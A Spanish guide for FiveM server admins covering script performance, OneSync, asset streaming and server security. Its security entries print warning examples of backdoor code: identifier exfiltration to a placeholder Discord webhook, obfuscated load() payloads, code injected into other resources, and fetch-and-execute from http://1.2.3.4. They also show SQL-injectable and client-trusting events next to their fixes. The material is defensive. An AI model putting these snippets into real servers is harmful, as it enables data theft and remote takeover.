Hay que separar dos casos, porque no son igual de graves. Un bucle SIN Wait ninguno congela el hilo entero. Lua en FiveM es cooperativo, así que si tú no sueltas, nadie te quita el turno. El motor se queda esperando y el servidor se para para todos. Ese es el desastre inmediato, y es el que dispara el aviso de script took too long.

El segundo caso es más traicionero, porque el servidor no se cae, simplemente va mal siempre. Un bucle con Wait(0) sí cede, pero se ejecuta en cada frame, sesenta o más veces por segundo. Si dentro de él dibujas un marcador, calculas distancias a treinta puntos y lees el teclado, estás pagando todo eso cada frame, estés donde estés, aunque la tienda esté a dos kilómetros. Eso es lo que pone rojo el resmon en reposo.

La solución es la misma técnica siempre y se llama Wait dinámico. Por defecto el bucle duerme mucho (500 o 1000 ms) y solo calcula una distancia. Si el jugador está cerca del punto de interés, baja el Wait a 0 y hace el trabajo caro. El comportamiento para el jugador es idéntico y el mismo script pasa de 1.20 ms a 0.01 ms sin tocar una sola línea de lógica de juego.

Dentro del bucle, además, cachea. PlayerPedId() y GetEntityCoords() no son gratis. Llamarlas una vez por iteración está bien, llamarlas cinco veces por iteración a Wait(0) es tirar CPU a la basura. Guarda el resultado en una variable local y reutilízalo.

Ejemplo · El bucle que funde los FPS y el mismo bucle con Wait dinámico
local tienda = vector3(25.7, -1345.0, 29.5)

-- MAL. Dibuja y comprueba teclas 60+ veces por segundo, estés donde estés.
-- Esto se pone ROJO en el resmon y no se apaga nunca.
CreateThread(function()
  while true do
    Wait(0)
    local pos = GetEntityCoords(PlayerPedId())
    DrawMarker(1, tienda.x, tienda.y, tienda.z - 1.0, 0,0,0, 0,0,0, 1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false)
    if #(pos - tienda) < 1.5 and IsControlJustPressed(0, 38) then
      abrirTienda()
    end
  end
end)

-- BIEN. Mismo comportamiento, casi 0 ms en reposo.
CreateThread(function()
  while true do
    local sleep = 1000                      -- por defecto, duerme 1 segundo
    local ped = PlayerPedId()               -- cacheado, una sola llamada
    local pos = GetEntityCoords(ped)
    local dist = #(pos - tienda)

    if dist < 20.0 then
      sleep = 0                             -- cerca: respondemos cada frame
      DrawMarker(1, tienda.x, tienda.y, tienda.z - 1.0, 0,0,0, 0,0,0, 1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false)
      if dist < 1.5 and IsControlJustPressed(0, 38) then
        abrirTienda()
      end
    end

    Wait(sleep)
  end
end)

En qué se equivoca todo el mundo

  • Meter el Wait dentro de un if. Si la condición no se cumple, el bucle no cede y congela el hilo.
  • Llamar a PlayerPedId() cuatro o cinco veces dentro de la misma iteración en vez de guardarlo en una variable.
  • Dibujar marcadores o texto 3D sin comprobar antes la distancia. Es el gasto más habitual y el más fácil de quitar.
  • Hacer polling a mano cuando ox_target, PolyZone o las statebags ya hacen ese trabajo optimizado.
Wait(0) vs Wait(500)

El número que le pasas a Wait decide cuántas veces por segundo se ejecuta tu bucle. Wait(0) significa el próximo frame, sesenta o más veces por segundo. Wait(500) significa dos veces por segundo.

La pregunta correcta no es cuál es mejor, es qué necesita refrescarse cada frame. Solo tres cosas lo necesitan de verdad. Dibujar (marcadores, texto 3D, scaleforms), porque si no se dibujan en cada frame parpadean. Leer pulsaciones de tecla con IsControlJustPressed. Y las animaciones o cálculos que el jugador percibe como continuos. Todo lo demás, absolutamente todo lo demás, aguanta 250, 500 o 1000 ms sin que nadie note nada.

Comprobar si el jugador ha entrado en una zona no necesita 60 comprobaciones por segundo. A pie se anda a unos 2 metros por segundo, así que con una comprobación cada medio segundo te sobra. Un HUD que muestra el dinero no necesita redibujar el mismo número sesenta veces por segundo, necesita actualizarse cuando el dinero cambia.

En el servidor la cosa cambia de escala. Allí no hay frames que dibujar, así que un Wait(0) en un bucle de servidor casi nunca tiene sentido. Los bucles del servidor son para tareas periódicas (autosave, pagos de nómina, limpieza de vehículos abandonados) y sus Waits se miden en segundos o en minutos, no en milisegundos. Un autosave cada cinco segundos que lanza una consulta por jugador es una forma elegante de matar tu base de datos.

Ejemplo · Cliente con Wait dinámico y servidor con Waits largos
-- Cliente. Wait dinámico: duerme por defecto, despierta solo si hace falta.
CreateThread(function()
  while true do
    local sleep = 500                  -- comprobar la zona 2 veces por segundo basta
    local pos = GetEntityCoords(PlayerPedId())

    if #(pos - zona) < 30.0 then
      sleep = 0                        -- solo aquí necesitamos cada frame (dibujamos)
      DrawText3D(zona, 'Pulsa E')
      if IsControlJustPressed(0, 38) then interactuar() end
    end

    Wait(sleep)
  end
end)

-- Servidor. Los Waits se miden en minutos, no en milisegundos.
CreateThread(function()
  while true do
    Wait(10 * 60 * 1000)               -- autosave cada 10 minutos
    guardarTodosLosJugadores()         -- y en UNA transacción, no una query por jugador
  end
end)

En qué se equivoca todo el mundo

  • Poner Wait(0) por defecto por si acaso. Es el ajuste más caro que existe y casi nunca es necesario.
  • Creer que Wait(1) es más ligero que Wait(0). La diferencia es despreciable, el bucle sigue corriendo constantemente.
  • Autosave cada pocos segundos con una consulta por jugador. Sesenta jugadores son sesenta consultas cada vez.
OneSync Infinity

El sistema de sincronización moderno de FiveM. Da la autoridad del mundo (entidades, posiciones, vehículos) al servidor en vez de a cada cliente, permite superar los 32 jugadores y solo envía a cada jugador lo que tiene cerca.

Se activa con set onesync on en el server.cfg y es la base sobre la que se apoya casi todo lo moderno. Sin OneSync no puedes pasar de 32 jugadores, no puedes crear entidades desde el servidor de forma fiable y no tienes entity lockdown. Cualquier servidor nuevo lo lleva activado desde el minuto uno. Para pasar de cierto número de slots, además, Cfx.re exige una suscripción de Element Club.

Lo interesante de Infinity no es solo el número de jugadores, es cómo maneja el mundo. En vez de sincronizar todo con todos, mantiene el concepto de scope. A cada jugador solo se le envían las entidades que tiene relativamente cerca. Eso es lo que hace viable tener cientos de jugadores repartidos por el mapa sin que la red explote.

Ahora, un aviso importante. Activar OneSync no arregla el lag. OneSync cambia cómo se sincroniza el mundo, no hace que tus bucles a Wait(0) dejen de comerse la CPU. Si tu servidor va a tirones con veinte jugadores, el problema son tus scripts, y activar OneSync solo te va a permitir tener más gente sufriendo a la vez.

Ejemplo · Activar OneSync y lo que desbloquea
# Sincronización moderna, con autoridad en el servidor
set onesync on

# Más de 32 jugadores NO funciona sin OneSync activado
sv_maxclients 64

# No expone las IP de los jugadores conectados
sv_endpointprivacy true

# Con OneSync puedes crear entidades desde el servidor y todos las ven igual.
# En server.lua:
#   local veh = CreateVehicle(GetHashKey('adder'), coords, heading, true, true)

En qué se equivoca todo el mundo

  • Poner sv_maxclients por encima de 32 sin activar OneSync. Los slots de más simplemente no funcionan.
  • Creer que OneSync es un parche de rendimiento. No lo es, no toca tus scripts.
  • Intentar crear entidades desde el servidor con OneSync desactivado y no entender por qué unos jugadores las ven y otros no.
Relacionado entity lockdown, culling y scope, hitch
entity lockdown

Un modo de OneSync que impide que los clientes creen entidades (vehículos, objetos, peds) por su cuenta. Se configura con sv_entityLockdown y es una de las mejores defensas contra los spawners de los tramposos.

Por defecto, cualquier cliente puede pedirle al servidor que cree una entidad, porque así funcionaba GTA V de origen. Eso significa que un tramposo con un menú puede llenar tu ciudad de tanques o de objetos, y el servidor los acepta sin rechistar. El entity lockdown corta esa vía.

Tiene tres modos. inactive es el comportamiento por defecto, sin restricción. strict bloquea toda creación de entidades por parte del cliente, así que todo lo que exista en el mundo tiene que haber sido creado desde el servidor. relaxed es el punto intermedio. Requiere OneSync activado, y también se puede aplicar por routing bucket, para que un mundo aislado tenga reglas distintas al principal.

El precio a pagar es real y conviene saberlo antes de activarlo. Muchos recursos antiguos crean vehículos y props desde el cliente, así que al poner strict se rompen. Garajes, tiendas de coches, scripts de decoración. Migrarlos a creación en servidor es la forma correcta de arreglarlo, y de paso te quita esos scripts de encima si estaban mal escritos. Prueba en un servidor de pruebas antes de tocar producción.

Ejemplo · Activar el lockdown y cómo pasa a crearse un vehículo
# server.cfg. Necesita OneSync activado.
set onesync on

# inactive -> por defecto, el cliente puede crear entidades
# relaxed  -> punto intermedio
# strict   -> el cliente NO crea nada, todo se crea desde el servidor
set sv_entityLockdown "strict"

# Con strict, un garaje ya no puede hacer CreateVehicle en el cliente.
# Tiene que crearlo en server.lua y devolver el netId:
#   local veh = CreateVehicle(model, x, y, z, heading, true, true)
#   TriggerClientEvent('garaje:entrar', src, NetworkGetNetworkIdFromEntity(veh))

En qué se equivoca todo el mundo

  • Activar strict en producción sin probar. Garajes, concesionarios y scripts de props dejan de funcionar de golpe.
  • Intentar usarlo sin OneSync activado. No hace nada.
  • Pensar que sustituye a un anticheat. Cierra una puerta muy concreta, la de crear entidades, y nada más.
Relacionado OneSync Infinity, culling y scope, server-authoritative
culling y scope

El mecanismo por el que el servidor solo sincroniza con cada jugador las entidades que tiene cerca. El scope es la burbuja de lo que un jugador ve. El culling es dejar de enviarle lo que se sale de esa burbuja.

Sin culling, cada jugador recibiría información de todos los coches, peds y objetos del mapa a la vez, y la red se hundiría con treinta personas. Con OneSync, el servidor lleva la cuenta de qué está dentro del scope de quién y solo envía eso. Es la razón por la que un servidor de doscientos jugadores repartidos por el mapa es viable.

La consecuencia práctica que rompe scripts todos los días es esta. Una entidad que existe en el servidor puede NO existir en tu cliente, simplemente porque está lejos. Si intentas convertir un netId en entidad y el objeto está fuera de tu scope, no lo vas a encontrar. Por eso las comprobaciones con DoesEntityExist son obligatorias y por eso la lógica importante se hace en el servidor, que sí lo ve todo.

El servidor te avisa cuando algo entra y sale del scope de un jugador, con los eventos playerEnteredScope y playerLeftScope. Son la forma limpia de saber quién está viendo qué sin hacer polling. Y desde el cliente puedes ajustar el radio de culling de una entidad concreta que te pertenece, útil para props grandes que se tienen que ver de lejos.

Ejemplo · Los eventos de scope y por qué siempre hay que comprobar DoesEntityExist
-- SERVIDOR. El motor te avisa cuando una entidad entra o sale del scope de alguien.
AddEventHandler('playerEnteredScope', function(data)
  -- data.player = quien ahora ve
  -- data['for']  = a quién está viendo
end)

AddEventHandler('playerLeftScope', function(data)
  -- dejó de verlo
end)

-- CLIENTE. Una entidad lejana NO existe aquí, aunque exista en el servidor.
RegisterNetEvent('garaje:entrar', function(netId)
  local veh = NetworkGetEntityFromNetworkId(netId)

  -- Sin esta comprobación, veh puede ser 0 porque está fuera de scope
  if not DoesEntityExist(veh) then return end

  TaskWarpPedIntoVehicle(PlayerPedId(), veh, -1)
end)

-- CLIENTE. Ampliar el radio de culling de un prop grande que debe verse de lejos
SetEntityDistanceCullingRadius(prop, 500.0)

En qué se equivoca todo el mundo

  • Asumir que un netId siempre se convierte en una entidad válida en el cliente. Si está fuera de scope, no existe.
  • Crear quinientos props globales y confiar en que el culling los salve. Siguen existiendo en el servidor y siguen costando.
  • Hacer polling constante para saber quién está cerca de qué, cuando playerEnteredScope ya te lo dice.
distancia de renderizado

El filtro por distancia que decide si tu script hace trabajo o no. Es la técnica más simple y más rentable de la optimización en cliente. Si el jugador está lejos, no dibujes, no calcules y no leas teclas.

En FiveM la distancia se mide con vectores y el operador de longitud. Escribes la resta de los dos puntos entre almohadillas y ya tienes los metros, sin fórmulas ni raíces cuadradas a mano. Es rapidísimo, y precisamente por eso sirve de portero. Primero mides la distancia, y solo si pasa el filtro haces el trabajo caro.

Ese portero va delante de todo lo que dibuje. DrawMarker, DrawText3D, cualquier scaleform. Dibujar un marcador que está a dos kilómetros cuesta exactamente lo mismo que dibujar uno que tienes delante, y el jugador no lo va a ver. Y va delante de cualquier lectura de teclado, porque no tiene sentido comprobar si pulsan E en una tienda que está al otro lado del mapa.

Ojo con una trampa clásica de las funciones antiguas. Vdist devuelve la distancia en metros, pero Vdist2 devuelve la distancia AL CUADRADO. Es más rápida porque se ahorra la raíz, pero si comparas su resultado con 20.0 creyendo que son metros, tu radio real es de 4.5 metros y no entiendes por qué el marcador no aparece hasta que estás encima.

Ejemplo · El filtro por distancia y la trampa de Vdist2
local punto = vector3(-1037.0, -2738.0, 20.0)

-- La forma moderna. Distancia en metros, directa.
local pos = GetEntityCoords(PlayerPedId())
local dist = #(pos - punto)

if dist < 50.0 then
  -- solo aquí dibujamos, comprobamos teclas, calculamos
end

-- CUIDADO con las funciones antiguas
local d1 = Vdist(pos.x, pos.y, pos.z, punto.x, punto.y, punto.z)   -- metros
local d2 = Vdist2(pos.x, pos.y, pos.z, punto.x, punto.y, punto.z)  -- metros AL CUADRADO

if d2 < 20.0 then end        -- MAL. El radio real son 4.47 metros, no 20.
if d2 < 20.0 * 20.0 then end -- BIEN, si de verdad quieres 20 metros con Vdist2.

-- Para props que deben verse de lejos, sube su LOD
SetEntityLodDist(prop, 300)

En qué se equivoca todo el mundo

  • Dibujar marcadores o texto 3D sin filtrar por distancia. Cuesta lo mismo estén donde estén.
  • Comparar el resultado de Vdist2 como si fueran metros. El radio real es la raíz cuadrada de lo que crees.
  • Recalcular la distancia a treinta puntos en cada frame en vez de meter el bucle en un Wait dinámico.
streaming de assets

El mecanismo por el que FiveM envía al cliente los assets personalizados de tu servidor (coches, MLO, ropa, props). Todo lo que pongas en la carpeta stream/ de un recurso se descarga y se carga en la memoria del jugador.

No hay que declarar los archivos uno a uno. Basta con crear una carpeta stream/ dentro del recurso y meter ahí los .yft, .ytd, .ymap y demás. FiveM los detecta solos. Para los props personalizados de un mapeado, además, hay que declarar el .ytyp con un data_file para que el juego sepa que existen.

El coste tiene dos caras y las dos las paga el jugador. La primera es el tiempo de descarga al conectar por primera vez, que con doscientos coches addon se convierte en varios minutos y en gente que se va antes de entrar. La segunda, más grave, es la memoria. Cada asset cargado ocupa RAM y VRAM en el cliente, y GTA V tiene límites que no se pueden ampliar.

La disciplina aquí es de peso, literalmente. Un coche addon con texturas de 4096 píxeles sin comprimir puede irse a 30 o 40 MB él solo. Multiplica eso por cincuenta coches y ya has fundido a los jugadores con gráficas modestas. Antes de meter un asset, mira lo que pesa su .ytd, y si es absurdo, redúcelo. Un coche bien optimizado cabe en pocos megas y se ve igual de bien.

Ejemplo · La carpeta stream y la declaración del ytyp de un mapeado
-- fxmanifest.lua de un recurso de mapeado o de coches

fx_version 'cerulean'
game 'gta5'

-- Todo lo que esté en stream/ se envía al cliente automáticamente.
-- No hay que listar los archivos uno a uno.
--   stream/adder.yft
--   stream/adder.ytd
--   stream/adder_hi.yft

-- Para un mapeado, además hay que declarar el ytyp de los props
this_is_a_map 'yes'

files {
  'props.ytyp'
}
data_file 'DLC_ITYP_REQUEST' 'props.ytyp'

En qué se equivoca todo el mundo

  • Meter cincuenta coches addon de golpe sin mirar el peso de sus texturas. El crash de memoria llega solo.
  • Usar texturas de 4096 píxeles para un coche. Con la mitad se ve igual y ocupa la cuarta parte.
  • Poner un ymap con props personalizados y olvidar el data_file del ytyp. Los objetos no aparecen y nadie sabe por qué.
memoria y crash del cliente

El crash por falta de memoria del cliente, que aparece con códigos del tipo ERR_MEM. Casi siempre es exceso de assets en streaming, no un problema del PC del jugador.

Los síntomas son reconocibles. El juego revienta al entrar al servidor o al acercarse a una zona concreta. Aparecen texturas negras o parpadeantes. Los coches salen sin ruedas. Y los códigos de error del crash suelen empezar por ERR_MEM, que es el motor diciendo que no le queda sitio. GTA V reserva memoria en bloques de tamaño fijo, y cuando tus assets los llenan, no hay más.

Antes de culpar al PC del jugador, haz la cuenta. Si el crash le pasa a mucha gente distinta y empezó justo cuando metiste un pack de coches o un MLO grande, no es su PC. Y aunque el jugador tenga un equipo potente, los límites de memoria de GTA V no dependen solo de la RAM que tenga, así que un pack demasiado pesado revienta también en máquinas buenas.

Para diagnosticarlo, bisección. Quita la mitad de los recursos con carpeta stream, arranca, prueba. Si el crash desaparece, el culpable está en la mitad que quitaste, y repites. Es tosco y es infalible. Una vez localizado, la solución es reducir las texturas del asset (comprimir el .ytd, bajar la resolución) o quitarlo del servidor. No hay tercera opción.

Ejemplo · Los errores típicos y cómo encontrar al asset culpable
# Lo que ve el jugador cuando el cliente se queda sin memoria
ERR_MEM_EMBEDDEDALLOC_ALLOC
ERR_MEM_MULTIALLOC_FREE
Out of memory

# Diagnóstico por bisección (funciona siempre)
# 1. Anota TODOS los recursos que tienen carpeta stream/
# 2. Comenta la mitad de sus ensure en server.cfg
# 3. Reinicia y prueba. ¿Sigue el crash?
#      NO  -> el culpable está en la mitad que quitaste. Repite con esa mitad.
#      SI  -> el culpable está en la otra mitad. Repite con esa.
# 4. En 4 o 5 pasadas tienes el recurso exacto.

# Y luego mira lo que pesan sus texturas
#   Un .ytd de coche por encima de 15 MB es una señal de alarma.

En qué se equivoca todo el mundo

  • Decir a los jugadores que se compren un PC mejor. Si le pasa a mucha gente distinta, el problema es tuyo.
  • Añadir un pack entero de coches sin probarlo primero en un servidor de pruebas.
  • Confundir este crash con un problema de rendimiento de scripts. Los ms del resmon no tienen nada que ver aquí.
Relacionado streaming de assets, resmon, distancia de renderizado

Seguridad

Backdoors, trampas y protección del servidor.

backdoor

Código oculto dentro de un recurso aparentemente normal que da acceso o control no autorizado del servidor. Roba dinero, filtra la base de datos, se autoconcede admin o ejecuta comandos. Es frecuente en packs filtrados de Discord.

Un server_script corre con la autoridad total del servidor, así que un solo recurso malicioso basta para hacer daño. El backdoor no vive en un fichero raro con nombre sospechoso, vive escondido dentro del código de una tienda, un mapa o un HUD que por lo demás funciona bien. Por eso la gente lo instala sin darse cuenta.

Se reconoce por lo que HACE, no por cómo se llama. Los patrones reales que delatan uno son PerformHttpRequest a un webhook de Discord o a una IP suelta, assert(load(...)) o loadstring sobre cadenas ofuscadas en hex o base64, os.execute o io.popen, y ExecuteCommand('add_principal ...') para darse permisos. El escáner de Crxative-M marca justo estos patrones y les pone una puntuación de riesgo.

La defensa es doble. Primero, lee y escanea todo recurso de origen incierto antes de subirlo, sobre todo los packs gratis o filtrados. Segundo, ten copias de seguridad probadas, porque un backdoor puede vaciarte la ciudad en minutos y muchas veces no te enteras hasta que ya no hay nada que recuperar.

Ejemplo · Dos firmas típicas de backdoor que el escáner marca como critical
-- 🚩 Esto NO debe estar en tus recursos. Es un backdoor.

-- Filtra los identifiers del jugador a un webhook de Discord del atacante
PerformHttpRequest('https://discord.com/api/webhooks/XXX/YYY',
  function() end, 'POST',
  json.encode({ content = GetPlayerIdentifiers(src)[1] }),
  { ['Content-Type'] = 'application/json' })

-- Ejecuta un payload ofuscado que no puedes leer a simple vista
assert(load('\x6f\x73\x2e...'))()

En qué se equivoca todo el mundo

  • Creer que un pack 'popular' o muy compartido es seguro. Los leaks reempaquetados son justo donde más aparecen.
  • Aceptar que el código esté ofuscado 'para proteger la licencia'. Un recurso limpio no necesita esconder lo que hace en tu servidor.
  • Confiar en el escáner y saltarse la lectura del código. El escáner es heurístico y ayuda, pero la revisión humana sigue siendo la última línea.
resheller

Herramienta o código que vuelve a empaquetar (re-shell) un recurso ajeno para reinyectar un backdoor o saltarse su protección. Es una de las formas en que un pack 'gratis' de un recurso de pago acaba trayendo malware.

Alguien coge un recurso legítimo, a veces uno de pago que se ha filtrado, le mete su propio código dentro y lo vuelve a distribuir como si fuera el original. La víctima cree que instala el recurso que conoce, pero está instalando la versión con puerta trasera.

El patrón peligroso de verdad aquí es la auto-reescritura. Un recurso que usa SaveResourceFile o LoadResourceFile para modificar otros recursos, o que descarga código con PerformHttpRequest y lo ejecuta con load, está haciendo cosas que ningún script honesto necesita. El escáner de Crxative-M puntúa estos patrones como critical.

La protección práctica es no instalar recursos de pago 'gratis' que circulan por Discord, y comparar el hash o el tamaño con la versión oficial cuando puedas. Si un recurso se modifica a sí mismo o toca ficheros de otros recursos, trátalo como comprometido.

Ejemplo · SaveResourceFile y carga remota, firmas de resheller
-- 🚩 Auto-reescritura: un recurso que edita otros recursos
local payload = LoadResourceFile(GetCurrentResourceName(), 'inject.lua')
SaveResourceFile('es_extended', 'server/hidden.lua', payload, -1)

-- 🚩 Descarga y ejecuta código remoto (el server obedece a un tercero)
PerformHttpRequest('http://1.2.3.4/x.lua', function(_, body)
  load(body)()
end)

En qué se equivoca todo el mundo

  • Pensar que solo los scripts traen resheller. Un pack de mapas o de coches con un server.lua que hace peticiones a webs raras es igual de sospechoso.
  • Fiarse del nombre del autor en el fxmanifest. Cualquiera puede escribir el nombre del autor original en un recurso reempaquetado.
código ofuscado

Código escrito a propósito para que no puedas leer qué hace, con cadenas en hex o base64, nombres ilegibles y funciones que se 'desencriptan' a sí mismas. En FiveM es la firma habitual de un backdoor escondido.

La ofuscación convierte un script legible en una sopa de caracteres. Aparecen cadenas larguísimas de bytes \xNN, bloques base64 gigantes, string.char con docenas de números, o identificadores como _0x4a2f que no significan nada. El objetivo es que abras el fichero, no entiendas nada y lo instales igual.

El motivo por el que es peligroso no es la ofuscación en sí, es lo que suele acompañarla. El código ofuscado casi siempre termina en un load o loadstring que ejecuta esa cadena una vez descifrada. Ese par, cadena ilegible más carga dinámica, es lo que el escáner marca como high o critical.

La excusa más repetida es que se ofusca 'para proteger la licencia'. No cuela. Los recursos de pago serios protegen su licencia con el escrow de Cfx, que cifra solo las partes que ellos quieren y deja el resto legible. Un recurso entero ilegible que además hace peticiones de red es una bandera roja, no una medida antipiratería.

Ejemplo · Ofuscación en hex y con string.char, ambas terminan en load()
-- 🚩 Cadena ofuscada + carga dinámica = payload que se ejecuta solo
local blob = '\x6c\x6f\x61\x64\x73\x74...'  -- ilegible a propósito
assert(load(blob))()

-- 🚩 Variante con string.char (mismo truco, otra forma)
load(string.char(111,115,46,101,120,101,99,117,116,101))()

En qué se equivoca todo el mundo

  • Confundir código minificado con código malicioso. Un JS de NUI minificado es normal. Un Lua de servidor ilegible con load() no lo es.
  • Asumir que si el recurso 'funciona bien' no puede tener nada oculto. El backdoor está diseñado para funcionar bien mientras roba por detrás.
escrow (asset protection de Cfx)

El sistema oficial de protección de recursos de Cfx.re. Cifra las partes que el autor marca como protegidas y las vincula a tu license key, de modo que el recurso solo funciona en servidores autorizados sin exponer todo el código.

Cuando compras un recurso en Tebex vinculado a tu cuenta de Cfx, sus ficheros protegidos viajan cifrados y el servidor los descifra en memoria con tu license key. Tú ves la estructura del recurso y las partes de configuración, pero el núcleo protegido no es legible ni copiable. Es la forma legítima de vender código sin regalarlo.

Esto es importante para la seguridad porque marca la diferencia entre protección legítima y ofuscación sospechosa. El escrow protege partes concretas y deja el fxmanifest y la config a la vista. Un backdoor ofusca el fichero entero y encima hace peticiones de red raras. Si algo dice estar 'protegido' pero no pasa por el escrow de Cfx, no tienes ninguna garantía de qué hace.

El escrow también explica el error 'failed to verify protected resource'. Ese fallo aparece cuando el servidor no puede validar un recurso escrow contra Cfx, casi siempre por license key mal puesta, sin conexión con los servidores de Cfx, o porque el recurso no está asignado a tu cuenta.

Ejemplo · El escrow valida el recurso contra tu license key de Cfx
# Un recurso con escrow necesita tu license key correcta en server.cfg
sv_licenseKey "cfxk_TU_CLAVE_REAL"

# Y el recurso debe estar asignado a tu cuenta de Cfx (Keymaster).
# Si no, verás en consola: failed to verify protected resource

En qué se equivoca todo el mundo

  • Pensar que escrow significa 'todo el recurso está cifrado'. Solo lo están las partes que el autor marca. El resto sigue siendo legible.
  • Creer que un recurso con escrow no puede traer backdoor. El escrow protege el código del autor, no garantiza que el autor sea honesto. Igual conviene escanear.
'failed to verify protected resource'

Error de FiveM que aparece cuando el servidor no puede validar un recurso protegido con escrow contra Cfx.re. El recurso no arranca hasta que la verificación pasa.

El mensaje sale en la consola del servidor al arrancar un recurso comprado que usa asset protection. FiveM intenta comprobar con los servidores de Cfx que ese recurso está autorizado para tu license key y, si la comprobación falla, bloquea el arranque. No es un fallo de tu código, es un fallo de verificación.

Las causas reales son pocas y concretas. La license key del server.cfg está mal, vacía o es de otro servidor. El recurso no está asignado a la cuenta de Cfx dueña de esa key en Keymaster. El servidor no tiene salida a internet hacia Cfx. O descargaste el recurso desde una fuente que no es la de tu compra, así que su firma no cuadra con tu cuenta.

La solución pasa por revisar sv_licenseKey, confirmar en Keymaster que el recurso está en tu cuenta, y asegurarte de que el servidor puede hablar con Cfx. Si sigue fallando con un recurso que 'te pasaron', sospecha, porque un recurso escrow legítimo solo lo obtienes desde tu propia compra.

Ejemplo · Diagnóstico del error de verificación de escrow
# En consola del servidor al arrancar:
# [resources] Couldn't start resource mi_recurso.
# failed to verify protected resource mi_recurso

# Comprobaciones, de más probable a menos:
# 1) sv_licenseKey correcta y no vacia en server.cfg
# 2) el recurso asignado a tu cuenta en keymaster.fivem.net
# 3) el servidor tiene salida a internet hacia cfx.re
# 4) descargaste el recurso desde tu propia compra, no de un leak

En qué se equivoca todo el mundo

  • Tocar el código del recurso para 'arreglarlo'. Un recurso escrow no se edita por dentro, y hacerlo rompe la verificación.
  • Reutilizar la license key de otro servidor. Cada key va con su servidor y su cuenta de Cfx.
anticheat

Sistema que detecta y frena a los tramposos en un servidor de FiveM, vigilando acciones imposibles como dinero que aparece de la nada, teletransportes o eventos disparados a mano. No sustituye a la validación en servidor, la complementa.

Un anticheat observa el comportamiento y busca lo que no debería pasar. Un jugador que gana un millón sin ninguna fuente de ingresos, uno que aparece en dos sitios a la vez, o uno que dispara eventos de red que solo debería disparar el servidor. Cuando detecta algo así, avisa, kickea o banea.

El error de fondo es creer que un anticheat te hace inmune. No lo hace. La mayoría de trampas de economía se paran en el servidor, comprobando cada acción antes de concederla. Si tu evento de dar dinero se fía del número que manda el cliente, ningún anticheat lo arregla, porque el propio servidor está regalando el dinero. El anticheat es una segunda capa, no la primera.

En FiveM hay anticheats externos y también la protección de OneSync junto con buenas prácticas de red. Lo más rentable es combinar tres cosas. Validar todo en el servidor, usar eventos de red bien acotados, y encima un anticheat que cace lo que se escape.

Ejemplo · Validar en servidor para en seco lo que un anticheat solo detectaría después
-- La primera defensa NO es el anticheat, es validar en el servidor
RegisterNetEvent('tienda:comprar', function(itemId, cantidad)
  local src = source
  -- El cliente pide, el servidor decide
  if type(cantidad) ~= 'number' or cantidad < 1 or cantidad > 10 then
    -- Acción imposible o manipulada, se ignora (y se puede loguear)
    return DropPlayer(src, 'Datos manipulados')
  end
  -- ...solo aqui, ya validado, se cobra y se entrega
end)

En qué se equivoca todo el mundo

  • Instalar un anticheat 'todo en uno' bajado de un Discord random. Muchos de esos son el propio backdoor disfrazado de protección.
  • Confiar la economía al anticheat y dejar los eventos de servidor sin validar. Se arregla el síntoma y se deja la puerta abierta.
cheater y menú trampa

Un cheater es un jugador que usa un programa externo (mod menu) para hacer trampas: darse dinero, armas, teletransporte o disparar eventos del servidor a su antojo. El menú trampa es esa herramienta.

Un mod menu inyecta en el cliente del jugador y le da botones para hacer lo que el juego no permitiría. Lo peligroso para tu servidor no es que el tramposo vuele o cambie su modelo, eso es cosmético. Lo peligroso es que puede disparar cualquier evento de red que tu servidor escuche, con los parámetros que quiera.

Por eso la defensa real no está en el cliente, está en cómo escribes el servidor. Si tienes un RegisterNetEvent que da dinero y se fía de la cantidad que llega, el menú trampa solo tiene que llamar a ese evento con un número enorme. No ha 'hackeado' nada, ha usado una puerta que le dejaste abierta. La regla es que el cliente miente siempre.

La forma de reducir el daño es no exponer eventos peligrosos, validar cada parámetro en el servidor, comprobar que la acción tiene sentido para ese jugador (que esté cerca de la tienda, que tenga el trabajo, que tenga saldo), y encima un anticheat que detecte patrones imposibles y expulse.

Ejemplo · El mismo evento inseguro y blindado. La diferencia es dónde se decide
-- 🚩 Evento que un menú trampa explota en segundos
RegisterNetEvent('banco:ingresar', function(cantidad)
  addMoney(source, cantidad) -- se fia del cliente, dinero infinito
end)

-- ✅ Mismo evento, blindado en el servidor
RegisterNetEvent('banco:ingresar', function(cantidad)
  local src = source
  if type(cantidad) ~= 'number' or cantidad <= 0 then return end
  local enMano = getCash(src)
  if cantidad > enMano then return end -- no puede ingresar lo que no tiene
  removeCash(src, cantidad)
  addBank(src, cantidad)
end)

En qué se equivoca todo el mundo

  • Ocultar el nombre del evento creyendo que así no lo encontrarán. Los menús trampa vuelcan todos los eventos registrados. El secreto no protege, la validación sí.
  • Kickear solo por el modelo o por volar. Un cheater listo va a por la economía y los eventos, no a por lo vistoso.
inyección SQLESXQBCoreQboxox

Vulnerabilidad en la que datos del jugador se meten directamente dentro de una consulta SQL, permitiendo alterar o robar la base de datos. En FiveM se evita usando consultas parametrizadas con oxmysql.

El fallo aparece cuando construyes la consulta pegando texto que viene del jugador. Si un nombre, una matrícula o un mensaje se concatena dentro del SQL, un jugador malicioso puede cerrar la cadena y añadir su propia orden. A partir de ahí puede leer la tabla users, borrar datos o cambiar saldos.

La protección es simple y no negociable. Nunca concatenes valores dentro de la consulta. Usa parámetros, esos interrogantes o marcadores que oxmysql sustituye de forma segura por ti. El motor se encarga de escapar el valor, así que aunque el jugador meta comillas o punto y coma, se tratan como texto, no como código SQL.

Esto conecta con la regla general de FiveM. Todo dato que venga del cliente es sospechoso. La consulta parametrizada resuelve la inyección, pero encima conviene validar el propio dato antes, comprobando tipo y rango, para no guardar basura ni fiarte de longitudes o formatos.

Ejemplo · Concatenar es la vía de la inyección. El parámetro ? la cierra
-- 🚩 Vulnerable: el nombre del jugador se pega dentro del SQL
local nombre = pedidoDelCliente
MySQL.query('SELECT * FROM users WHERE name = \'' .. nombre .. '\'')

-- ✅ Seguro: consulta parametrizada, oxmysql escapa el valor
MySQL.query('SELECT * FROM users WHERE name = ?', { nombre }, function(rows)
  -- rows contiene solo lo que corresponde, sin riesgo de inyeccion
end)

En qué se equivoca todo el mundo

  • Escapar comillas a mano en vez de usar parámetros. Siempre se te escapa un caso. El motor lo hace bien, tú no.
  • Validar en el cliente y confiarte. La validación de cliente es cosmética, la consulta la protege el parámetro en el servidor.
evento de red inseguro (confiar en el cliente)

Un RegisterNetEvent del servidor que actúa según lo que le manda el cliente sin comprobarlo. Como cualquier jugador puede disparar ese evento con los parámetros que quiera, es la puerta principal de las trampas.

